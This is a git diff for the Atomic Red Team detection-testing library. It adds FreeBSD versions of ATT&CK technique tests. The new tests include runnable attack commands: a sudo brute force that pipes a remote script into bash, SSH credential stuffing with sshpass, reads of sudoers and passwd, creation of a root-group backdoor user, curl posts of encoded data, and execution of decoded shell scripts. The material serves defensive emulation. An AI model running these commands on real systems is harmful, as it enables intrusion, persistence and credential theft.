cleanup_command: | @@ -78,6 +80,16 @@ atomic_tests: sudo lsmod | grep -i "virtio_pci\|virtio_net" sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc" name: bash +- name: FreeBSD VM Check via Kernel Modules + description: | + Identify virtual machine host kernel modules. + supported_platforms: + - freebsd + executor: + command: | + kldstat | grep -i "vmm" + kldstat | grep -i "vbox" + name: sh - name: Hostname Discovery (Windows) auto_generated_guid: 85cfbf23-4a1e-4342-8792-007e004b975f description: | @@ -91,14 +103,15 @@ atomic_tests: - name: Hostname Discovery auto_generated_guid: 486e88ea-4f56-470f-9b57-3f4d73f39133 description: | - Identify system hostname for Linux and macOS systems. + Identify system hostname for FreeBSD, Linux and macOS systems. supported_platforms: + - freebsd - linux - macos executor: command: | hostname - name: bash + name: sh - name: Windows MachineGUID Discovery auto_generated_guid: 224b4daf-db44-404e-b6b2-f4d1f0126ef8 description: | @@ -146,11 +159,12 @@ atomic_tests: command: | set name: command_prompt -- name: Environment variables discovery on macos and linux +- name: Environment variables discovery on freebsd, macos and linux auto_generated_guid: fcbdd43f-f4ad-42d5-98f3-0218097e2720 description: | Identify all environment variables. Upon execution, environments variables and your path info will be displayed. supported_platforms: + - freebsd - macos - linux executor: @@ -349,6 +363,17 @@ atomic_tests: kmod list grep vmw /proc/modules name: sh +- name: FreeBSD List Kernel Modules + description: | + Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching 'vmm' if present. + supported_platforms: + - freebsd + executor: + command: | + kldstat + kldstat | grep vmm + name: sh + - name: System Information Discovery with WMIC auto_generated_guid: 8851b73a-3624-4bf7-8704-aa312411565c description: | diff --git a/atomics/T1083/T1083.yaml b/atomics/T1083/T1083.yaml index 071e33428f..0bb52bc2a9 100644 --- a/atomics/T1083/T1083.yaml +++ b/atomics/T1083/T1083.yaml @@ -47,6 +47,7 @@ atomic_tests: https://perishablepress.com/list-files-folders-recursively-terminal/ supported_platforms: + - freebsd - macos - linux input_arguments: @@ -72,6 +73,7 @@ atomic_tests: description: | Find or discover files on the file system supported_platforms: + - freebsd - macos - linux input_arguments: diff --git a/atomics/T1087.001/T1087.001.yaml b/atomics/T1087.001/T1087.001.yaml index 4298aa8b73..a90bdb9008 100644 --- a/atomics/T1087.001/T1087.001.yaml +++ b/atomics/T1087.001/T1087.001.yaml @@ -6,6 +6,7 @@ atomic_tests: description: | Enumerate all accounts by copying /etc/passwd to another file supported_platforms: + - freebsd - linux input_arguments: output_file: @@ -24,6 +25,7 @@ atomic_tests: description: | (requires root) supported_platforms: + - freebsd - linux - macos input_arguments: @@ -33,7 +35,8 @@ atomic_tests: default: /tmp/T1087.001.txt executor: command: | - sudo cat /etc/sudoers > #{output_file} + if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi; + if [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi; cat #{output_file} cleanup_command: | rm -f #{output_file} @@ -44,6 +47,7 @@ atomic_tests: description: | View accounts with UID 0 supported_platforms: + - freebsd - linux - macos input_arguments: @@ -54,6 +58,7 @@ atomic_tests: executor: command: | grep 'x:0:' /etc/passwd > #{output_file} + grep '*:0:' /etc/passwd >> #{output_file} cat #{output_file} 2>/dev/null cleanup_command: | rm -f #{output_file} 2>/dev/null @@ -63,6 +68,7 @@ atomic_tests: description: | List opened files by user supported_platforms: + - freebsd - linux - macos executor: @@ -76,7 +82,7 @@ atomic_tests: prereq_command: | which lsof get_prereq_command: | - (which yum && yum -y install lsof)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y lsof) + (which pkg && pkg install -y lsof)||(which yum && yum -y install lsof)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y lsof) - name: Show if a user account has ever logged in remotely auto_generated_guid: 0f0b6a29-08c3-44ad-a30b-47fd996b2110 description: | @@ -103,11 +109,30 @@ atomic_tests: cleanup_command: | rm -f #{output_file} name: sh +- name: Show if a user account has ever logged in remotely (freebsd) + description: | + Show if a user account has ever logged in remotely + supported_platforms: + - freebsd + input_arguments: + output_file: + description: Path where captured results will be placed + type: path + default: /tmp/T1087.001.txt + executor: + command: | + lastlogin > #{output_file} + cat #{output_file} + cleanup_command: | + rm -f #{output_file} + name: sh + - name: Enumerate users and groups auto_generated_guid: e6f36545-dc1e-47f0-9f48-7f730f54a02e description: | Utilize groups and id to enumerate users and groups supported_platforms: + - freebsd - linux - macos executor: diff --git a/atomics/T1090.001/T1090.001.yaml b/atomics/T1090.001/T1090.001.yaml index 74eee5a6de..e1993f4cb7 100644 --- a/atomics/T1090.001/T1090.001.yaml +++ b/atomics/T1090.001/T1090.001.yaml @@ -8,6 +8,7 @@ atomic_tests: Note that this test may conflict with pre-existing system configuration. supported_platforms: + - freebsd - macos - linux input_arguments: diff --git a/atomics/T1090.003/T1090.003.yaml b/atomics/T1090.003/T1090.003.yaml index ed3d07ef50..5eabd37987 100644 --- a/atomics/T1090.003/T1090.003.yaml +++ b/atomics/T1090.003/T1090.003.yaml @@ -95,6 +95,7 @@ atomic_tests: cleanup_command: | sudo systemctl stop tor name: sh + elevation_required: true - name: Tor Proxy Usage - MacOS auto_generated_guid: 12631354-fdbc-4164-92be-402527e748da description: | @@ -117,3 +118,26 @@ atomic_tests: cleanup_command: | killall tor > /dev/null 2>&1 name: sh +- name: Tor Proxy Usage - FreeBSD + description: | + This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality. + Upon successful execution, the tor proxy service will be launched. + supported_platforms: + - freebsd + dependency_executor_name: sh + dependencies: + - description: | + Tor must be installed on the machine + prereq_command: | + if [ -x "$(command -v tor --version)" ]; then exit 0; else exit 1; fi + get_prereq_command: | + pkg install -y tor + executor: + command: | + sysrc tor_enable="YES" + service tor start + cleanup_command: | + service tor stop + sysrc -x tor_enable + name: sh + elevation_required: true diff --git a/atomics/T1098.004/T1098.004.yaml b/atomics/T1098.004/T1098.004.yaml index af04208ca9..c3b718a043 100644 --- a/atomics/T1098.004/T1098.004.yaml +++ b/atomics/T1098.004/T1098.004.yaml @@ -9,10 +9,11 @@ atomic_tests: Modify contents of /.ssh/authorized_keys to maintain persistence on victim host. If the user is able to save the same contents in the authorized_keys file, it shows user can modify the file. supported_platforms: + - freebsd - macos - linux executor: - name: bash + name: sh elevation_required: false command: | if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo "$ssh_authorized_keys" > ~/.ssh/authorized_keys; fi; diff --git a/atomics/T1105/T1105.yaml b/atomics/T1105/T1105.yaml index b2767eddc4..49e132c414 100644 --- a/atomics/T1105/T1105.yaml +++ b/atomics/T1105/T1105.yaml @@ -6,6 +6,7 @@ atomic_tests: description: | Utilize rsync to perform a remote file copy (push) supported_platforms: + - freebsd - linux - macos input_arguments: @@ -25,15 +26,25 @@ atomic_tests: description: User account to authenticate on remote host type: string default: victim + dependency_executor_name: sh + dependencies: + - description: | + rsync must be installed on the machine + prereq_command: | + if [ -x "$(command -v rsync)" ]; then exit 0; else exit 1; fi + get_prereq_command: | + (pkg install -y rsync)||(sudo apt-get -y install rsync) executor: command: | rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path} - name: bash + name: sh + elevation_required: true - name: rsync remote file copy (pull) auto_generated_guid: 3180f7d5-52c0-4493-9ea0-e3431a84773f description: | Utilize rsync to perform a remote file copy (pull) supported_platforms: + - freebsd - linux - macos input_arguments: @@ -53,15 +64,24 @@ atomic_tests: description: User account to authenticate on remote host type: string default: adversary + dependency_executor_name: sh + dependencies: + - description: | + rsync must be installed on the machine + prereq_command: | + if [ -x "$(command -v rsync)" ]; then exit 0; else exit 1; fi + get_prereq_command: | + (pkg install -y rsync)||(sudo apt-get -y install rsync) executor: command: | rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path} - name: bash + name: sh - name: scp remote file copy (push) auto_generated_guid: 83a49600-222b-4866-80a0-37736ad29344 description: | Utilize scp to perform a remote file copy (push) supported_platforms: + - freebsd - linux - macos input_arguments: @@ -84,12 +104,13 @@ atomic_tests: executor: command: | scp #{local_file} #{username}@#{remote_host}:#{remote_path} - name: bash + name: sh - name: scp remote file copy (pull) auto_generated_guid: b9d22b9a-9778-4426-abf0-568ea64e9c33 description: | Utilize scp to perform a remote file copy (pull) supported_platforms: + - freebsd - linux - macos input_arguments: @@ -112,12 +133,13 @@ atomic_tests: executor: command: | scp #{username}@#{remote_host}:#{remote_file} #{local_path} - name: bash + name: sh - name: sftp remote file copy (push) auto_generated_guid: f564c297-7978-4aa9-b37a-d90477feea4e description: | Utilize sftp to perform a remote file copy (push) supported_platforms: + - freebsd - linux - macos input_arguments: @@ -140,12 +162,13 @@ atomic_tests: executor: command: | sftp #{username}@#{remote_host}:#{remote_path} <<< $'put #{local_file}' - name: bash + name: sh - name: sftp remote file copy (pull) auto_generated_guid: 0139dba1-f391-405e-a4f5-f3989f2c88ef description: | Utilize sftp to perform a remote file copy (pull) supported_platforms: + - freebsd - linux - macos input_arguments: @@ -168,7 +191,7 @@ atomic_tests: executor: command: | sftp #{username}@#{remote_host}:#{remote_file} #{local_path} - name: bash + name: sh - name: certutil download (urlcache) auto_generated_guid: dd3b61dd-7bbc-48cd-ab51-49ad1a776df0 description: | @@ -336,6 +359,7 @@ atomic_tests: description: | Download a remote file using the whois utility supported_platforms: + - freebsd - linux - macos input_arguments: diff --git a/atomics/T1110.001/T1110.001.yaml b/atomics/T1110.001/T1110.001.yaml index 51f8e31e4e..178912c5ab 100644 --- a/atomics/T1110.001/T1110.001.yaml +++ b/atomics/T1110.001/T1110.001.yaml @@ -227,4 +227,39 @@ atomic_tests: cleanup_command: | userdel -fr art +- name: SUDO Brute Force - FreeBSD + description: | + An adversary may find themselves on a box (e.g. via ssh key auth, with no password) with a user that has sudo'ers privileges, but they do not know the users password. Normally, failed attempts to access root will not cause the root account to become locked, to prevent denial-of-service. This functionality enables an attacker to undertake a local brute force password guessing attack without locking out the root user. + + This test creates the "art" user with a password of "password123", logs in, downloads and executes the sudo_bruteforce.sh which brute force guesses the password, then deletes the user + supported_platforms: + - freebsd + input_arguments: + remote_url: + description: url of remote payload + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh + dependency_executor_name: sh + dependencies: + - description: | + Check if running on a FreeBSD based machine. + prereq_command: | + if grep -iq "FreeBSD" /etc/os-release; then echo "FreeBSD"; else echo "NOT FreeBSD"; exit 1; fi + if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi + if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi + if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi + if [ -x "$(command -v bash)" ]; then echo "bash is installed"; else echo "bash is NOT installed"; exit 1; fi + get_prereq_command: | + pkg update && pkg install -y sudo curl bash + executor: + name: bash + elevation_required: true + command: | + pw adduser art -g wheel -s /bin/sh + echo "password123" | pw usermod art -h 0 + su art + cd /tmp + curl -s #{remote_url} |bash + cleanup_command: | + rmuser -y art diff --git a/atomics/T1110.004/T1110.004.yaml b/atomics/T1110.004/T1110.004.yaml index 6965996824..ba5e918b48 100644 --- a/atomics/T1110.004/T1110.004.yaml +++ b/atomics/T1110.004/T1110.004.yaml @@ -63,6 +63,37 @@ atomic_tests: cp "$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt" /tmp/ for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done +- name: SSH Credential Stuffing From FreeBSD + description: | + Using username,password combination from a password dump to login over SSH. + + supported_platforms: + - freebsd + + input_arguments: + target_host: + description: IP Address / Hostname you want to target. + type: string + default: localhost + + dependency_executor_name: sh + dependencies: + - description: | + Requires SSHPASS + prereq_command: | + if [ -x "$(command -v sshpass)" ]; then exit 0; else exit 1; fi; + + get_prereq_command: | + pkg install -y sshpass + + executor: + name: sh + elevation_required: false + command: | + cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/ + for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done + + - name: Brute Force:Credential Stuffing using Kerbrute Tool auto_generated_guid: 4852c630-87a9-409b-bb5e-5dc12c9ebcde description: | diff --git a/atomics/T1113/T1113.yaml b/atomics/T1113/T1113.yaml index 0b3aea7cc9..0abd44c94c 100644 --- a/atomics/T1113/T1113.yaml +++ b/atomics/T1113/T1113.yaml @@ -69,6 +69,33 @@ atomic_tests: cleanup_command: | rm #{output_file} name: bash +- name: X Windows Capture (freebsd) + description: | + Use xwd command to collect a full desktop screenshot and review file with xwud + supported_platforms: + - freebsd + input_arguments: + output_file: + description: Output file path + type: path + default: /tmp/T1113_desktop.xwd + dependency_executor_name: sh + dependencies: + - description: | + Package with XWD and XWUD must exist on device + prereq_command: | + if [ -x "$(command -v xwd)" ]; then exit 0; else exit 1; fi + if [ -x "$(command -v xwud)" ]; then exit 0; else exit 1; fi + get_prereq_command: | + pkg install -y xwd xwud + executor: + command: | + xwd -root -out #{output_file} + xwud -in #{output_file} + cleanup_command: | + rm #{output_file} + name: sh + - name: Capture Linux Desktop using Import Tool auto_generated_guid: 9cd1cccb-91e4-4550-9139-e20a586fcea1 description: | @@ -93,6 +120,29 @@ atomic_tests: cleanup_command: | rm #{output_file} name: bash +- name: Capture Linux Desktop using Import Tool (freebsd) + description: | + Use import command from ImageMagick to collect a full desktop screenshot + supported_platforms: + - freebsd + input_arguments: + output_file: + description: Output file path + type: path + default: /tmp/T1113_desktop.png + dependencies: + - description: | + ImageMagick must be installed + prereq_command: | + if import -help > /dev/null 2>&1; then exit 0; else exit 1; fi + get_prereq_command: | + pkg install -y ImageMagick7 + executor: + command: | + import -window root #{output_file} + cleanup_command: | + rm #{output_file} + name: sh - name: Windows Screencapture auto_generated_guid: 3c898f62-626c-47d5-aad2-6de873d69153 description: | diff --git a/atomics/T1124/T1124.yaml b/atomics/T1124/T1124.yaml index ba1a9e6de3..d5f09415d1 100644 --- a/atomics/T1124/T1124.yaml +++ b/atomics/T1124/T1124.yaml @@ -27,11 +27,12 @@ atomic_tests: command: | Get-Date name: powershell -- name: System Time Discovery in macOS +- name: System Time Discovery in FreeBSD/macOS auto_generated_guid: f449c933-0891-407f-821e-7916a21a1a6f description: | Identify system time. Upon execution, the local computer system time and timezone will be displayed. supported_platforms: + - freebsd - macos executor: command: | diff --git a/atomics/T1132.001/T1132.001.yaml b/atomics/T1132.001/T1132.001.yaml index d98a4476af..d5d8e760d6 100644 --- a/atomics/T1132.001/T1132.001.yaml +++ b/atomics/T1132.001/T1132.001.yaml @@ -22,6 +22,33 @@ atomic_tests: echo -n 111-11-1111 | base64 curl -XPOST #{base64_data}.#{destination_url} name: sh +- name: Base64 Encoded data (freebsd) + description: | + Utilizing a common technique for posting base64 encoded data. + supported_platforms: + - freebsd + input_arguments: + destination_url: + description: Destination URL to post encoded data. + type: url + default: redcanary.com + base64_data: + description: Encoded data to post using fake Social Security number 111-11-1111. + type: string + default: MTExLTExLTExMTE= + dependency_executor_name: sh + dependencies: + - description: | + Requires curl + prereq_command: | + if [ -x "$(command -v curl)" ]; then exit 0; else exit 1; fi; + get_prereq_command: | + pkg install -y curl + executor: + command: | + echo -n 111-11-1111 | b64encode -r - + curl -XPOST #{base64_data}.#{destination_url} + name: sh - name: XOR Encoded data. auto_generated_guid: c3ed6d2a-e3ad-400d-ad78-bbfdbfeacc08 description: | diff --git a/atomics/T1135/T1135.yaml b/atomics/T1135/T1135.yaml index 17f5449b02..b4d7e9fb39 100644 --- a/atomics/T1135/T1135.yaml +++ b/atomics/T1135/T1135.yaml @@ -46,6 +46,34 @@ atomic_tests: sudo smbstatus --shares name: bash elevation_required: true +- name: Network Share Discovery - FreeBSD + description: | + Network Share Discovery using smbstatus + supported_platforms: + - freebsd + input_arguments: + package_checker: + description: Package checking command. pkg info -x samba + type: string + default: (pkg info -x samba &>/dev/null) + package_installer: + description: Package installer command. pkg install -y samba413 + type: string + default: (which pkg && pkg install -y samba413) + dependency_executor_name: sh + dependencies: + - description: | + Package with smbstatus (samba) must exist on device + prereq_command: | + if #{package_checker} > /dev/null; then exit 0; else exit 1; fi + get_prereq_command: | + #{package_installer} + executor: + command: | + smbstatus --shares + name: sh + elevation_required: true + - name: Network Share Discovery command prompt auto_generated_guid: 20f1097d-81c1-405c-8380-32174d493bbb description: | diff --git a/atomics/T1136.001/T1136.001.yaml b/atomics/T1136.001/T1136.001.yaml index e076be852e..f01945212e 100644 --- a/atomics/T1136.001/T1136.001.yaml +++ b/atomics/T1136.001/T1136.001.yaml @@ -19,6 +19,23 @@ atomic_tests: userdel #{username} name: bash elevation_required: true +- name: Create a user account on a FreeBSD system + description: | + Create a user via pw + supported_platforms: + - freebsd + input_arguments: + username: + description: Username of the user to create + type: string + default: evil_user + executor: + command: | + pw useradd #{username} -s /usr/sbin/nologin -d /nonexistent -c evil_account + cleanup_command: | + rmuser -y #{username} + name: sh + elevation_required: true - name: Create a user account on a MacOS system auto_generated_guid: 01993ba5-1da3-4e15-a719-b690d4f0f0b2 description: | @@ -111,6 +128,28 @@ atomic_tests: userdel #{username} name: bash elevation_required: true +- name: Create a new user in FreeBSD with `root` GID. + description: | + Creates a new user in FreeBSD and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign. + supported_platforms: + - freebsd + input_arguments: + username: + description: Username of the user to create + type: string + default: butter + password: + description: Password of the user to create + type: string + default: BetterWithButter + executor: + command: | + pw useradd #{username} -g 0 -d /root -s /bin/sh + echo "#{password}" | pw usermod #{username} -h 0 + cleanup_command: | + pw userdel #{username} + name: sh + elevation_required: true - name: Create a new Windows admin user auto_generated_guid: fda74566-a604-4581-a4cc-fbbe21d66559 description: | diff --git a/atomics/T1140/T1140.yaml b/atomics/T1140/T1140.yaml index 4430208206..d2e461921e 100644 --- a/atomics/T1140/T1140.yaml +++ b/atomics/T1140/T1140.yaml @@ -47,6 +47,7 @@ atomic_tests: description: | Use Python to decode a base64-encoded text string and echo it to the console supported_platforms: + - freebsd - linux - macos input_arguments: @@ -79,8 +80,9 @@ atomic_tests: - name: Base64 decoding with Perl auto_generated_guid: 6604d964-b9f6-4d4b-8ce8-499829a14d0a description: | - Use Perl to decode a base64-encoded text string and echo it to the console + Use Perl to decode a base64-encoded text string and echo it to the console supported_platforms: + - freebsd - linux - macos input_arguments: @@ -136,11 +138,75 @@ atomic_tests: echo $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d bash -c "{echo,\"$(echo $ENCODED)\"}|{base64,-d}" +- name: Base64 decoding with shell utilities (freebsd) + description: | + Use common shell utilities to decode a base64-encoded text string and echo it to the console + supported_platforms: + - freebsd + input_arguments: + message: + description: Message to print to the screen + type: string + default: Hello from Atomic Red Team test T1140! + encoded_file: + description: File to temporarily save encoded text + type: path + default: /tmp/T1140.encoded + executor: + name: sh + elevation_required: false + command: | + ENCODED=$(echo '#{message}' | b64encode -r -) + printf $ENCODED | b64decode -r + echo $ENCODED | b64decode -r + echo $(echo $ENCODED) | b64decode -r + echo $ENCODED > #{encoded_file} && b64encode -r #{encoded_file} + echo $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file} + echo $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r + echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r +- name: FreeBSD b64encode Shebang in CLI + description: | + Using b64decode shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml) for it. + supported_platforms: + - freebsd + input_arguments: + bash_encoded: + description: Encoded #!/bin/bash script + type: string + default: IyEvYmluL2Jhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= + dash_encoded: + description: Encoded #!/bin/dash script + type: string + default: IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= + fish_encoded: + description: Encoded #!/bin/fish script + type: string + default: IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= + sh_encoded: + description: Encoded #!/bin/sh script + type: string + default: IyEvYmluL3NoCmVjaG8gImh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL0BhdG9taWNzb25hZnJpZGF5IEZUVyIK + dependencies: + - description: | + b64decode must be present + prereq_command: | + which b64decode + get_prereq_command: | + echo "please install b64decode" + executor: + name: sh + elevation_required: false + command: | + echo #{bash_encoded} | b64decode -r | sh + echo #{dash_encoded} | b64decode -r | sh + echo #{fish_encoded} | b64decode -r | sh + echo #{sh_encoded} | b64decode -r | sh - name: Hex decoding with shell utilities auto_generated_guid: 005943f9-8dd5-4349-8b46-0313c0a9f973 description: | Use common shell utilities to decode a hex-encoded text string and echo it to the console supported_platforms: + - freebsd - linux - macos input_arguments: @@ -236,3 +302,4 @@ atomic_tests: name: bash elevation_required: false + diff --git a/atomics/T1176/T1176.yaml b/atomics/T1176/T1176.yaml index 1d5724dfcd..5e320a2e52 100644 --- a/atomics/T1176/T1176.yaml +++ b/atomics/T1176/T1176.yaml @@ -1,10 +1,11 @@ attack_technique: T1176 display_name: Browser Extensions atomic_tests: -- name: Chrome (Developer Mode) +- name: Chrome/Chromium (Developer Mode) auto_generated_guid: 3ecd790d-2617-4abf-9a8c-4e8d47da9ee1 - description: Turn on Chrome developer mode and Load Extension found in the src directory + description: Turn on Chrome/Chromium developer mode and Load Extension found in the src directory supported_platforms: + - freebsd - linux - windows - macos @@ -18,10 +19,11 @@ atomic_tests: 3. Click 'Select' name: manual -- name: Chrome (Chrome Web Store) +- name: Chrome/Chromium (Chrome Web Store) auto_generated_guid: 4c83940d-8ca5-4bb2-8100-f46dc914bc3f description: Install the "Minimum Viable Malicious Extension" Chrome extension supported_platforms: + - freebsd - linux - windows - macos @@ -37,6 +39,7 @@ atomic_tests: description: | Create a file called test.wma, with the duration of 30 seconds supported_platforms: + - freebsd - linux - windows - macos diff --git a/atomics/T1201/T1201.yaml b/atomics/T1201/T1201.yaml index abfafc840a..d790c8e923 100644 --- a/atomics/T1201/T1201.yaml +++ b/atomics/T1201/T1201.yaml @@ -11,6 +11,15 @@ atomic_tests: command: | cat /etc/pam.d/common-password name: bash +- name: Examine password complexity policy - FreeBSD + description: | + Lists the password complexity policy to console on FreeBSD. + supported_platforms: + - freebsd + executor: + command: | + cat /etc/pam.d/passwd + name: sh - name: Examine password complexity policy - CentOS/RHEL 7.x auto_generated_guid: 78a12e65-efff-4617-bc01-88f17d71315d description: | @@ -138,4 +147,4 @@ atomic_tests: command: | aws iam get-account-password-policy name: sh - elevation_required: false \ No newline at end of file + elevation_required: false diff --git a/atomics/T1217/T1217.yaml b/atomics/T1217/T1217.yaml index b74cb04783..44c55557fb 100644 --- a/atomics/T1217/T1217.yaml +++ b/atomics/T1217/T1217.yaml @@ -1,11 +1,12 @@ attack_technique: T1217 display_name: Browser Bookmark Discovery atomic_tests: -- name: List Mozilla Firefox Bookmark Database Files on Linux +- name: List Mozilla Firefox Bookmark Database Files on FreeBSD/Linux auto_generated_guid: 3a41f169-a5ab-407f-9269-abafdb5da6c2 description: | - Searches for Mozilla Firefox's places.sqlite file (on Linux distributions) that contains bookmarks and lists any found instances to a text file. + Searches for Mozilla Firefox's places.sqlite file (on FreeBSD or Linux distributions) that contains bookmarks and lists any found instances to a text file. supported_platforms: + - freebsd - linux input_arguments: output_file: @@ -55,6 +56,23 @@ atomic_tests: cleanup_command: | rm -f #{output_file} 2>/dev/null name: sh +- name: List Google Chromium Bookmark JSON Files on FreeBSD + description: | + Searches for Google Chromium's Bookmark file (on FreeBSD) that contains bookmarks in JSON format and lists any found instances to a text file. + supported_platforms: + - freebsd + input_arguments: + output_file: + description: Path where captured results will be placed. + type: path + default: /tmp/T1217-Chrome.txt + executor: + command: | + find / -path "*/.config/chromium/*/Bookmarks" -exec echo {} >> #{output_file} \; + cat #{output_file} 2>/dev/null + cleanup_command: | + rm -f #{output_file} 2>/dev/null + name: sh - name: List Google Chrome / Opera Bookmarks on Windows with powershell auto_generated_guid: faab755e-4299-48ec-8202-fc7885eb6545 description: | diff --git a/atomics/T1222.002/T1222.002.yaml b/atomics/T1222.002/T1222.002.yaml index e325170ce0..13bc9143e1 100644 --- a/atomics/T1222.002/T1222.002.yaml +++ b/atomics/T1222.002/T1222.002.yaml @@ -1,11 +1,12 @@ attack_technique: T1222.002 -display_name: 'File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification' +display_name: 'File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification' atomic_tests: - name: chmod - Change file or folder mode (numeric mode) auto_generated_guid: 34ca1464-de9d-40c6-8c77-690adf36a135 description: | Changes a file or folder's permissions using chmod and a specified numeric mode. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -20,12 +21,13 @@ atomic_tests: executor: command: | chmod #{numeric_mode} #{file_or_folder} - name: bash + name: sh - name: chmod - Change file or folder mode (symbolic mode) auto_generated_guid: fc9d6695-d022-4a80-91b1-381f5c35aff3 description: | Changes a file or folder's permissions using chmod and a specified symbolic mode. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -40,12 +42,13 @@ atomic_tests: executor: command: | chmod #{symbolic_mode} #{file_or_folder} - name: bash + name: sh - name: chmod - Change file or folder mode (numeric mode) recursively auto_generated_guid: ea79f937-4a4d-4348-ace6-9916aec453a4 description: | Changes a file or folder's permissions recursively using chmod and a specified numeric mode. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -60,12 +63,13 @@ atomic_tests: executor: command: | chmod -R #{numeric_mode} #{file_or_folder} - name: bash + name: sh - name: chmod - Change file or folder mode (symbolic mode) recursively auto_generated_guid: 0451125c-b5f6-488f-993b-5a32b09f7d8f description: | Changes a file or folder's permissions recursively using chmod and a specified symbolic mode. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -134,6 +138,7 @@ atomic_tests: description: | Changes a file or folder's ownership only using chown. supported_platforms: + - freebsd - macos - linux input_arguments: @@ -148,7 +153,7 @@ atomic_tests: executor: command: | chown #{owner} #{file_or_folder} - name: bash + name: sh - name: chown - Change file or folder ownership recursively auto_generated_guid: 3b015515-b3d8-44e9-b8cd-6fa84faf30b2 description: | @@ -186,6 +191,23 @@ atomic_tests: command: | chattr -i #{file_to_modify} name: sh +- name: chflags - Remove immutable file attribute + description: | + Remove's a file's `immutable` attribute using `chflags`. + This technique was used by the threat actor Rocke during the compromise of Linux web servers. + supported_platforms: + - freebsd + input_arguments: + file_to_modify: + description: Path of the file + type: path + default: /tmp/T1222.002.txt + executor: + command: | + touch #{file_to_modify} + chflags simmutable #{file_to_modify} + chflags nosimmutable #{file_to_modify} + name: sh - name: Chmod through c script auto_generated_guid: 973631cf-6680-4ffa-a053-045e1b6b67ab description: | @@ -214,6 +236,33 @@ atomic_tests: command: | #{compiled_file} /tmp/ T1222002 name: sh +- name: Chmod through c script (freebsd) + description: | + chmods a file using a c script + supported_platforms: + - freebsd + input_arguments: + source_file: + description: Path of c source file + type: path + default: PathToAtomicsFolder/T1222.002/src/T1222.002.c + compiled_file: + description: Path of compiled file + type: path + default: /tmp/T1222002 + dependency_executor_name: sh + dependencies: + - description: | + Compile the script from (#{source_file}). Destination is #{compiled_file} + prereq_command: | + cc #{source_file} -o #{compiled_file} + get_prereq_command: | + cc #{source_file} -o #{compiled_file} + executor: + command: | + #{compiled_file} /tmp/ T1222002 + name: sh + - name: Chown through c script auto_generated_guid: 18592ba1-5f88-4e3c-abc8-ab1c6042e389 description: | @@ -243,3 +292,30 @@ atomic_tests: sudo #{compiled_file} #{source_file} name: sh elevation_required: true +- name: Chown through c script (freebsd) + description: | + chowns a file to root using a c script + supported_platforms: + - freebsd + input_arguments: + source_file: + description: Path of c source file + type: path + default: PathToAtomicsFolder/T1222.002/src/chown.c + compiled_file: + description: Path of compiled file + type: path + default: /tmp/T1222002own + dependency_executor_name: sh + dependencies: + - description: | + Compile the script from (#{source_file}). Destination is #{compiled_file} + prereq_command: | + cc #{source_file} -o #{compiled_file} + get_prereq_command: | + cc #{source_file} -o #{compiled_file} + executor: + command: | + #{compiled_file} #{source_file} + name: sh + elevation_required: true diff --git a/atomics/T1485/T1485.yaml b/atomics/T1485/T1485.yaml index 3cb4f1a89a..066d2394d9 100644 --- a/atomics/T1485/T1485.yaml +++ b/atomics/T1485/T1485.yaml @@ -33,12 +33,13 @@ atomic_tests: if (-not (Test-Path "#{file_to_delete}")) { New-Item "#{file_to_delete}" -Force } & "#{sdelete_exe}" -accepteula "#{file_to_delete}" name: powershell -- name: macOS/Linux - Overwrite file with DD +- name: FreeBSD/macOS/Linux - Overwrite file with DD auto_generated_guid: 